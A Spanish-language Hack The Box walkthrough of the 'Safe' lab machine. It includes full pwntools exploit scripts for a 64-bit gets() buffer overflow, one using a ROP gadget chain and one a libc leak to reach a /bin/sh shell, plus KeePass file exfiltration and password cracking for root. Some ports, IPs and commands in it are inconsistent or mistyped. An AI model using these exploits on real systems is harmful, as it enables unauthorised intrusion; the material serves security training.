HTB_Safe
Safe {-}
Introduccion {-}
La maquina del dia se llama Safe.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.147
ttl: 63 -> maquina Linux
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.147
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.147 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p22,80,1377 10.10.10.147 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
22 | ssh | Conneccion directa | creds |
80 | http | Web, Fuzzing | |
1337 | http | Web, Fuzzing |
El resultado de Nmap nos muestra algo raro con el puerto 1337. Lo miramos con ncat
nc 10.10.10.247 1337
What do you want me to echo back?
AA
Ncat: Broken pipe
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.147
Es un Apache 2.4.25 en un Debian y parece que sea la default page de apache2.
Checkear la web {-}
Si entramos en la url http://10.10.10.147
, Vemos la pagina por por defecto de apache2.
Miramos el codigo fuente y vemos un commentario que dice 'myapp' can be dowloaded to analyse from here its running on port 1337
.
Si ponemos la url http://10.10.10.147/myapp
podemos descargar la app y analyzarla.
Vulnerability Assessment {-}
Analysis de myapp {-}
Si lanzamos la app descargada con el commando ./myapp
vemos la misma cosa que lo que hemos encontrado en el puerto 1337.
Vamos a ver si esta app esta vulnerable a un Buffer Overflow
python -c 'print "A"*500'
./myapp
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#Output
zsh: segmentation fault ./myapp
Buffer Overflow x64 usando Gadgets {-}
Primeramente vamos a analyzar el myapp
con Ghidra.Lanzamos Ghidra, creamos un nuevo proyecto y importamos el binario myapp
.
Una vez importado, cojemos el binario y lo Drag & Dropeamos en el Dragon. Una vez cargado, nos pide si lo queremos analysar, le decimos que si.
En la parte derecha de Ghidra, hay un panel Symbol Tree que nos permite ver las funcciones del programa, pinchamos a la function main y vemos
el codigo de esta funccion. Vemos que hay una variable local_78
creada con un tamaño de 112 bits y que recupera la entrada de usuario con la
funccion gets(local_78)
que es vulnerable a un BufferOverflow.
Aqui vamos a analysar mas en profundidad el binario con gdb con gef.
gdb ./myapp
info functions
r
What do you want me to echo back? Hola probando
#Output
[Inferior 1 exited normally]
r
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aqui gdb nos saca un error y vemos que el $rsp
esta sobre escito con lettras A
Aqui seguimos la Guia normal de un BOF.
-
Buscamos cuantos A son necessarios antes de sobre escribir el rsp
-
creamos un pattern de 150 caracteres
gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=4) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma [+] Saved as '$_gef0'
-
lanzamos el script otra vez y pegamos los caracteres
gef➤ r What do you want me to echo back? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata aauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
-
el programa peta una vez mas pero el valor del
$rsp
a cambiado. Miramos el offset con el commandogef➤ pattern offset $rsp [+] Searching for '$rsp' [+] Found at offset 120 (little-endian search) likely
Aqui vemos que tenemos que entrar 120 caracteres antes de sobre escribir el rsp.
-
Probamos con 120 A y 8 B. /!\ cuidado que como es una maquina x64 tenemos que poner 8 B y no 4.
python -c '120*"A"+8*"B"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBBBBB gef➤ r What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB #Output $rsp : 0x00007fffffffde98 → "BBBBBBBB" $rbp : 0x4141414141414141 ("AAAAAAAA"?) $rsi : 0x00000000004052a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
-
añadimos 8 C para saber donde caen la cosas despues del rsp
python -c '120*"A"+8*"B"+8*"C"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AABBBBBBBBCCCCCCCC gef➤ r What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC #Output
-
-
Miramos las seguridades existentes del programa
gef➤ checksec [+] checksec for '/home/s4vitar/Desktop/HTB/Safe/content/myapp' Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial
Vemos aqui que el NX (DEP: Data Execution Prevention) esta enabled, lo que quiere decir que deshabilita la ejecucion de codigo en la pila. Tenemos que encontrar una via alternativa.
Si recordamos, el analysis de la funccion main con Ghidra era la siguiente
undefined8 main (void)
{
char myVariable [112];
system("/usr/bin/uptime");
printf("\nWhat do you want me to echo back? ");
gets(myVariable);
puts(myVariable);
return 0;
}
La idea aqui seria de burlar la llamada a la funccion system(“/usr/bin/uptime”) para que en vez de llamar a uptime, ejecute otra cosa. Esto se hace cambiando la cadena de texto “/usr/bin/uptime” con “/bin/sh” por ejemplo.
Hay cosas que tenemos que tener en cuenta para hacer este processo. En 64bits, hay uno orden que tenemos que tener en cuenta durante la llamada a una funccion
rdi rci rdx rcx r8 r9
. Este order se llama convencion de llamada. Esto significa que los argumentos pasados por las funcciones estan almazenadas en uno
de estos registros y que siguen este orden.
Lo comprobamos de la siguiente manera.
-
Creamos un pequeño script en python para lanzar el pdb en modo debug con un breakpoint al inicio de la funccion main
#!/usr/bin/python3 from pwn import * context(terminal=['tmux', 'new-window']) context(os='linux', arch='amd64) p = gdb.debug('.\myapp', 'b *main') p.recvuntil('What do you want me to echo back?')
- Lanzamos el script con el comando
python3 exploit.py
-
En este punto estamos parados en el principio de la funccion main, y añadimos un breakpoint al call de la funccion system
-
lo buscamos en el listing de ghidra
```{r, echo = FALSE, fig.cap=”system function listing breakpoint”, out.width=”90%”} knitr::include_graphics(“images/Safe-system-breakpoint.png”)
-
bash
gef➤ b * 0x40116e
gef➤ c
gef➤ si
gef➤ si
gef➤ si
gef➤ si
el comando `b` significa Breakpoint, el comando `c` es para Continue y el `si` se puede traducir como siguiente instruccion.
En este punto hemos llegado a la funccion system.
- miramos lo que hay en el **rdi**
```bash
gef➤ x/s $rdi
#Output
0x402008: "/usr/bin/update"
```
Aqui vemos que en el **rdi** esta la string correspondiendo al `/usr/bin/uptime` que es el comando que seria ejecutado por **system()**
Ahora que sabemos que el argumento pasado en la funccion system() tiene que ser previamente definida en el registro rdi
, miramos de que manera
podemos tomar el control de este registro para poner el comando que queremos.
Para hacer este truco, el Tito nos recomiendo en primer lugar inspeccionar el resto de funcciones existentes. Si lo miramos con Ghidra en el Symbol Tree, vemos que hay una funccion que se llama test y que contiene las ejecuciones siguientes:
```{r, echo = FALSE, fig.cap=”test function inspection”, out.width=”90%”} knitr::include_graphics(“images/Safe-test-fct-inspection.png”)
programa como nosotros queremos.
![Safe-test-fct-isectio](../assets/images/Safe-test-fct-inspection.png)
Si miramos la funccion test, vemos que justo despues de la copia del `rsp` al `rdi`, hay un comando **JMP** que significa Jump al registro **R13** donde a dentro, existe
una direccion (por el momento desconocida).
Aqui la idea seria cambiar lo que hay en el registro `R13` para injectarle la direccion de la function `system()`.
Para hacer este truco, tenemos que pasar por Gadgets que seria un ropper en este caso. Podemos usar **gef** para buscar si existe un Gadget en este registro.
```bash
gef➤ ropper --search "pop r13"
```{r, echo = FALSE, fig.cap=”gef search for gadgets”, out.width=”90%”} knitr::include_graphics(“images/Safe-gadget-r13.png”)
Aqui vemos que tenemos un Gadget `pop r13; pop r14; pop r15;` y tenemos la direccion **401206**. Esto quiere decir que podemos meter la direction de **system()** en
`r13` y por lo de `r14` y `r15`, pondremos un byte nullo.
```python
![Safe-adet-r13](../assets/images/Safe-gadget-r13.png)
#!/usr/bin/python3
from pwn import *
context(terminal=['tmux', 'new-window'])
context(os='linux', arch='amd64')
p = remote("10.10.10.147", 1337)
# p = gdb.debug('./myapp', 'b *main')
p.recvuntil("What do you want me to echo back?")
# gef➤ ropper --search "pop r13"
# 0x0000000000401206: pop r13; pop r14; pop r15; ret;
pop_r13 = p64(0x401206)
junk = ("A"*112).encode()
bin_sh = "/bin/sh\x00".encode()
# JMP => r13 [system()]
# 0000000000401040 <system@plt>:
# 401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 <system@GLIBC_2.2.5>
# 40116e: e8 cd fe ff ff callq 401040 <system@plt>
system_plt = p64(0x40116e)
null = p64(0x0)
# ⯠objdump -D ./myapp | grep "test"
# 40100b: 48 85 c0 test %rax,%rax
# 4010c2: 48 85 c0 test %rax,%rax
# 401104: 48 85 c0 test %rax,%rax
# 0000000000401152 <test>:
test = p64(0x401152)
# **************************************************************
# * FUNCTION *
# **************************************************************
# undefined test()
# undefined AL:1 <RETURN>
# test XREF[3]: Entry Point(*), 00402060,
# 00402108(*)
# 00401152 55 PUSH RBP
# 00401153 48 89 e5 MOV RBP,RSP
# 00401156 48 89 e7 MOV RDI,RSP # RDI => "/bin/sh\x00"
# 00401159 41 ff e5 JMP R13 # => system($rdi)
p.sendline(junk + bin_sh + pop_r13 + system_plt + null + null + test)
p.interactive()
Todas las direcciones de memoria se han buscado con el comando objdump -D ./myapp | grep "system"
o para la direccion de test con el
comando objdump -D ./myapp | grep "test"
. Estos comandos se puenden usar porque le PIE esta desabilitado.
En este caso, que hace el script. El script nos permite finalmente ejecutar el applicativo con un flujo distincto para ganar accesso al systema. El flujo es el siguiente.
- Lanzamos el binario
- Introducimos 112 A (120 del offset menos los 8 bytes del comando “/bin/sh\x00”) => 7 caracteres + 1 nullByte.
- Introducimos el commando
/bin/sh\x00
- Apuntamos a la direccion del gadget
- Sobre escribimos el
- r13 con la direccion de system
- r14 como nullo
- r15 como nullo
- Introducimos la direccion de la funccion test
Buffer Overflow x64 usando Memory leak {-}
#!/usr/bin/python3
# Libc leaked
from pwn import *
context(terminal=['tmux', 'new-window'])
context(os='linux', arch='amd64')
p = remote("10.10.10.147", 1337)
# p = gdb.debug('./myapp', 'b *main')
junk = ("A"*120).encode()
# gef➤ ropper --search "pop rdi"
# 0x000000000040120b: pop rdi; ret;
pop_rdi = p64(0x40120b)
# objdump -D ./myapp | grep "system"
# 0000000000401040 <system@plt>:
# 401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 <system@GLIBC_2.2.5>
# 40116e: e8 cd fe ff ff callq 401040 <system@plt>
system_plt = p64(0x401040)
main = p64(0x40115f)
got_puts = p64(0x404018)
payload = junk + pop_rdi + got_puts + system_plt + main # system("whoami")
print(p.recvline())
p.sendline(payload)
leak_puts = u64(p.recvline().strip()[7:-11].ljust(8, "\x00".encode()))
log.info("Leaked puts address: %x" % leak_puts)
libc_leaked = leak_puts - 0x68f90
log.info("Leaked libc address: %x" % libc_leaked)
bin_sh = p64(libc_leaked + 0x161c19)
payload = junk + pop_rdi + bin_sh + system_plt
p.recvline()
p.sendline(payload)
p.interactive()
La idea aqui seria de hacer una llamad a nivel de systema para arastrar la direccion de puts. El objetivo detras de esto es poder leakear la direccion para
poder computar la direccion de libc. Esto no permiteria computar una direccion donde este una string de /bin/sh
.
Esto se hace poniendo una direccion memoriaa una llamada de systema (esto nos dara un error)
import os
os.system("whoami")
#Output
root
os.system("0x7fbac32bda8")
#Output
Error Not found.
y desde este error, aprovechar de recuperar la direccion de puts. Desde aqui podriamos encontrar todas la direcciones necessarias para ejecutar los comandos que queremos.
Para encontrar las direcciones podemos usar la web de nullbyte, podemos encontrar todos
los offsets de los comandos que queremos como el offset de la direccion de system
y de la string /bin/sh
basada por la direccion de puts.
- la direccion de libc seria la direccion de puts menos el offset de puts de la web
- la direccion de system seria la direccion de libc mas el offset de system
- la direccion de la string
/bin/sh
seria la direccion de libc mas el offset de str_bin_shVuln exploit & Gaining Access {-}
Ganando accesso con un BOF x64 {-}
python3 exploit.py
#Output
$
whoami user
cat /home/user/user.txt
Ya tenemos la flag.
Privilege Escalation {-}
Rootear la maquina {-}
ls /home/user
Vemos un fichero MyPassword.kdbx
y una serie de imagenes. Lo descargamos en nuestra maquina de atacante.
-
en la maquina victima
which busybox busybox httpd -f -p 8000
-
en la maquina de atacante descargamos con
wget
todas las imagenes y el ficheroMyPasswords.kdbx
Intentamos abrir el ficher MyPasswords.kdbx
con la utilidad keepassxc
keepassxc MyPasswords.kdbx
Vemos que nos pregunta por una contraseña pero vemos que hay un fichero clave que seria una de las imagenes.
Podemos tratar de recuperar el hash del fichero con keepass2john
pero tenemos que tener en cuenta que si hay un fichero
que esta utilizado como seguridad, tenemos que añadir el parametro -k.
keepass2john MyPasswords.kdbx -k IMG_0545.JPG
Como no sabemos exactamente que imagen es la buena, utilizaremos un oneLiner
for IMG in $(echo "IMG_0545.JPG IMG_0546.JPG IMG_0547.JPG IMG_0548.JPG IMG_0552.JPG IMG_0553.JPG "); do keepass2john -k $IMG MyPasswords.kdbx | sed "s/Mypasswords/$IMG/"; done > hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Encontramos la contraseña con la imagen 0547. Si abrimos el keepassxc dando la imagen como keyfile y con la contraseña podemos entrar y vemos un directorio llamado Root Password
ya podemos utilizar el comando su root
y leer la flag.